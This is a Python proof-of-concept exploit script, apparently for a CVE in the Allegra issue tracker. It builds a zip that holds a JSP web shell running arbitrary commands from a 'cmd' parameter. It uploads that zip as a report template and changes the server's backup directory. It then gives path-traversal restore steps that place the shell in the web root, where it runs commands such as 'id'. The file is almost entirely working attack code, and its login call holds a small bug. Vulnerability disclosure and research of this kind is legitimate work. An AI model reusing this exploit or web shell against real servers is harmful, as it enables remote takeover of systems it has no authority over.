import os import zipfile import shutil import requests import sys import string import random import time import string # Content for info.properties import argparse parser = argparse.ArgumentParser(description="Enter the IP ,email and creds") parser.add_argument("--username", type=str, help="Target Email") parser.add_argument("--password", type=str, help="Target Password") parser.add_argument("--host", type=str, help="Target Host") parser.add_argument("--port", type=str, help="Target Password") parser.add_argument("--context", type=str, default="demo", help="Target Context") args = parser.parse_args() info_properties_content = '''_clusternode=1 _id_table=215 _taccount=2 _tacl=1 _taction=5 _tactivebranch=0 _tactualestimatedbudget=0 _tapplicationcontext=0 _tattachment=1 _tattachmentversion=0 _tattribute=0 _tattributeclass=0 _tattributeoption=0 _tattributetype=0 _tattributevalue=0 _tbaseline=0 _tbasket=9 _tbrblhierarchy=0 _tbudget=0 _tcalendar=1 _tcalendarexception=0 _tcalendarworkhour=0 _tcardfield=4 _tcardfieldoption=0 _tcardgroupingfield=0 _tcardgroupoption=0 _tcardpanel=1 _tcardrow=0 _tcategory=37 _tchildissuetype=9 _tchildprojecttype=12 _tclass=0 _tclob=14 _tcommentlike=0 _tcomputedvalues=0 _tconfigoptionsrole=0 _tcost=0 _tcostcenter=1 _tcountry=249 _tdashboardfield=7 _tdashboardpanel=2 _tdashboardparameter=5 _tdashboardscreen=2 _tdashboardtab=2 _tdepartment=3 _tdisablefield=0 _tdocstate=4 _tdomain=0 _tefforttype=0 _teffortunit=0 _temailprocessed=0 _tentitychanges=0 _tentityfile=164 _tentitytoentityfile=123 _tescalationentry=0 _tescalationstate=0 _tevent=0 _texporttemplate=28 _tfield=66 _tfieldchange=1 _tfieldconfig=70 _tfile=0 _tfiltercategory=0 _tgeneralnotification=1 _tgeneralparam=4 _tgeneralsettings=8 _tglobalcssstyle=0 _tgridfield=30 _tgridgroupingsorting=6 _tgridlayout=6 _tgroupmember=2 _thistorytransaction=1 _thtmltemplate=3 _thtmltemplateconfig=3 _thtmltemplatedef=6 _tinitstate=0 _tissueattributevalue=0 _titemaccesshistory=0 _titememailattachment=0 _titememaildescriptor=0 _titememailrecipient=0 _titemlike=0 _titemresource=0 _titemtimer=0 _titemtransition=0 _titemtypeversioning=2 _tlastexecutedquery=2 _tlasttextsearch=0 _tlastvisiteditem=0 _tlinktype=13 _tlist=11 _tlocalizedresources=35824 _tloggedinusers=1 _tlogginglevel=0 _tmailtemplate=18 _tmailtemplateconfig=18 _tmailtemplatedef=96 _tmailtextblock=0 _tmenuitem=0 _tmenuitemquery=44 _tmotd=9 _tmsprojecttask=0 _tnavigatorcolumn=6 _tnavigatorgroupingsorting=1 _tnavigatorlayout=1 _tnavlayoutassignment=0 _tnotify=0 _tnotifyfield=28 _tnotifysettings=1 _tnotifytrigger=2 _toption=52 _toptionsettings=11 _torgprojectsla=0 _toutlinecode=0 _toutlinetemplate=0 _toutlinetemplatedef=0 _tperson=8 _tpersonbasket=0 _tpersonfield=0 _tpersonfieldvalue=0 _tpersonindomain=0 _tpersonprops=18 _tperspective=8 _tplinktype=20 _tplisttype=74 _tppriority=0 _tpriority=3 _tprivatereportrepository=0 _tprojcat=0 _tproject=2 _tprojectaccount=0 _tprojectbaseline=0 _tprojectbranch=0 _tprojectfield=0 _tprojectfieldvalue=0 _tprojectprops=0 _tprojectreportrepository=0 _tprojectresource=0 _tprojecttype=15 _tprojecttypecategory=7 _tprojecttypetocategory=28 _tprole=59 _tpseverity=0 _tpstate=211 _tpublicreportrepository=0 _tqueryrepository=13 _trecurrencepattern=0 _trecurrenceperiodprop=0 _trecurrenceschema=0 _trelease=0 _tremindrecipient=0 _treportcategory=3 _treportlayout=0 _treportparameter=0 _treportpersonsettings=0 _treportsubscribe=0 _trepository=0 _tresource=4 _trevision=0 _trevisionworkitems=0 _trole=14 _trolefield=7 _trolelisttype=3 _tscheduler=0 _tscreen=31 _tscreenconfig=196 _tscreenfield=256 _tscreenpanel=40 _tscreentab=38 _tscripts=30 _tseverity=3 _tshortcut=0 _tsite=1 _tsla=0 _tstate=32 _tstatechange=0 _tsummarymail=0 _tsystemstate=9 _ttemplateperson=0 _ttextboxsettings=26 _ttexttemplate=0 _ttexttplcategory=0 _ttrail=0 _tundodetails=0 _tundoitemoperation=0 _tuserfeature=0 _tuserlevel=5 _tuserlevelsetting=155 _tversioncontrol=0 _tversioncontrolbranch=0 _tversioncontrolcommit=0 _tversioncontrolparameter=0 _tversioncontrolrepo=0 _tversioncontrolserver=0 _tversionctrlcomtobranch=0 _tversionctrlcomtoitem=0 _tversionedfield=2 _tversionhierarchy=0 _tviewparam=0 _twfactivitycontextparams=0 _tworkflow=0 _tworkflowactivity=0 _tworkflowcategory=0 _tworkflowcomment=0 _tworkflowconnect=0 _tworkflowdef=0 _tworkflowguard=0 _tworkflowrole=0 _tworkflowstation=0 _tworkflowtransition=0 _tworkitem=1 _tworkitemlink=0 _tworkitemlock=0 allData=38741 databaseType=Postgres driver=org.postgresql.Driver start=Tue Sep 23 18:50:55 UTC 2025 table_BLOB=170 table_TMSPROJECTEXCHANGE=0 timeSpend=660 url=jdbc:postgresql://db/allegra-demo usePassword=true user=allegra versionDB=816 versionTrack=8.1.6.22 ''' # Content for poc.jsp poc_jsp_content = '''<%@ page import="java.util.*,java.io.*"%> <% %> Commands with JSP
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
''' # Content for description.xml description_xml_content = ''' SimpleReport Standard report overview, with only a few columns. Concise report, no history Report overview, no history, landscape A4 Standard-Bericht mit einigen wenigen Spalten. Schlanker Bericht ohne Verlauf Übersichtsbericht ohne Verlauf, A4-Querformat icon.gif A4 landscape preview.png Jasper Report pdf hello.text ''' # Empty files to create in current directory (except info.properties and description.xml) empty_files = [ "blob.dat", "data.sql", "dataUpdate.sql", "Postgres_schema.sql", "Postgres_schema_constraints.sql", ] # Create empty files in current directory for fname in empty_files: open(fname, 'a').close() # Write info.properties with open("info.properties", 'w', encoding='utf-8') as f: f.write(info_properties_content) # Write description.xml with open("description.xml", 'w', encoding='utf-8') as f: f.write(description_xml_content) # Create Attachments/poc directory attachments_dir = "Attachments" poc_dir = os.path.join(attachments_dir, "poc") os.makedirs(poc_dir, exist_ok=True) # Write poc.jsp inside Attachments/poc poc_path = os.path.join(poc_dir, "poc.jsp") with open(poc_path, 'w', encoding='utf-8') as f: f.write(poc_jsp_content) # Create inner.zip with all files and folders with zipfile.ZipFile("inner.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf: # Add empty files in root for fname in empty_files: zipf.write(fname) # Add info.properties and description.xml to inner.zip zipf.write("info.properties") zipf.write("description.xml") # Add Attachments directory and contents recursively for root, dirs, files in os.walk(attachments_dir): for file in files: full_path = os.path.join(root, file) arcname = os.path.relpath(full_path, start=".") zipf.write(full_path, arcname) # Create outer.zip with inner.zip and description.xml with zipfile.ZipFile("outer.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as outer_zip: outer_zip.write("inner.zip") outer_zip.write("description.xml") # Remove all except poc.py and outer.zip keep_files = {"poc.py", "outer.zip","cve-2025-xxxx.py","cve-2025-6216.py.txt"} for entry in os.listdir("."): if entry in keep_files: continue if os.path.isfile(entry): os.remove(entry) elif os.path.isdir(entry): shutil.rmtree(entry) def randomstring(length=12): """Generate a random alphanumeric string of given length.""" chars = string.ascii_letters + string.digits return ''.join(random.choice(chars) for _ in range(length)) def login(username,password): url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/logon!login.action" data = {'j_password': password,'j_username': username} session = requests.Session() r = session.post(url, data=data) try: resp_json = r.json() except ValueError: print("Invalid JSON response") sys.exit(0) if resp_json.get("success") is True: return session else: print("login failed") sys.exit(0) def upload_malicious_report_zip(session): """ Uploads test.zip using an existing requests.Session object. The session should already be configured (cookies, headers, auth, etc.). """ label=randomstring() url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/reportConfig!save.action" # normal form-data fields data = { "add": "true", "node": "report_2_2_198", "label": label } # file upload field with open("outer.zip", "rb") as f: files = { "reportFile": ("outer.zip", f, "application/x-zip-compressed") } response = session.post(url, data=data, files=files) data_json=response.json() if data_json.get("id"): return data_json.get("id") else: print("Upload Failed") print(response.text) sys.exit(0) def get_license(sessobj): url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/editAdminSiteConfig!load.action" r = sessobj.get(url) try: resp_json = r.json() except ValueError: print("Invalid JSON response") sys.exit(0) if resp_json.get("data"): license_ext = resp_json["data"]["license"]["licenseExtension"] return license_ext else: print("License Extraction failed") sys.exit(0) def change_dbbackup_directory_server_config(sessobj,license_key,templateid): templateid_str = str(templateid).zfill(5) serverurl="http://"+str(args.host)+":"+str(args.port) backupdir = "/home/allegra/reportTemplates/exportTemplate" + str(templateid_str) url = "http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/saveAdminSiteConfig!save.action" data = {'license.licenseExtension': str(license_key),'otherSiteConfig.backupDir': str(backupdir),'fullTextSearch.indexPath': '/home/allegra/index','otherSiteConfig.serverURL': str(serverurl),'outgoingEmail.securityConnection': '0','appActionName': 'serverConfig'} r=sessobj.post(url,data=data) try: resp_json = r.json() except ValueError: print("Invalid JSON response") sys.exit(0) if resp_json.get("success") is True: return True else: print("Backup Location change failed") sys.exit(0) session_obj=login(args,username,args.password) template_id=upload_malicious_report_zip(session_obj) license_key=get_license(session_obj) if change_dbbackup_directory_server_config(session_obj,license_key,template_id): print("Backup Location changed successfully") print("Setup a Remote Postgres DB Server") print("Change the Postgres DB config and start the Restore Process") print("Keep in mind to tick the \"Restore Attachments\" option") print("Put the Attachment Restoreation Directory as ../../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/demo/js/") print("Your web shell will be available at http://"+str(args.host)+":"+str(args.port)+"/"+str(args.context)+"/js/trackdata/attachments/poc/poc.jsp?cmd=id") os.remove("outer.zip") else: print("Backup Location change failed") sys.exit(0)